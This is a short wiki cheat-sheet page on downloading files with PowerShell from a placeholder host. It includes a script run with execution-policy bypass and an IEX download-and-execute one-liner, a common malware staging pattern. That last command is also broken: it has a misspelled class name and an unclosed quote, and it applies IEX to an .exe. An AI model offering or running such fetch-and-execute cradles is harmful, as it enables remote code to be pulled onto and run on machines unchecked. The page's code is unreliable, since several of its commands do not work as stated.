Powershell download a file

From Luniwiki
Jump to: navigation, search

Powershell command

powershell -c "Invoke-WebRequest -Uri http://example.com/File.exe -OutFile C:\PATH\File.exe"

Create a ps1 file and execute it

echo $webclient = New-Object System.Net.WebClient > download.ps1
echo $webclient.DownloadFile("http://example.com/File.exe","File.exe") >> download.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NoProfile -NonInteractive -File download.ps1

Easier way

This poweshell command executes directly the file.

IEX(New-Object Net.WbClient).downloadString('http://example.com/File.exe)

References

Daniel Simao 15:02, 3 January 2020 (EST)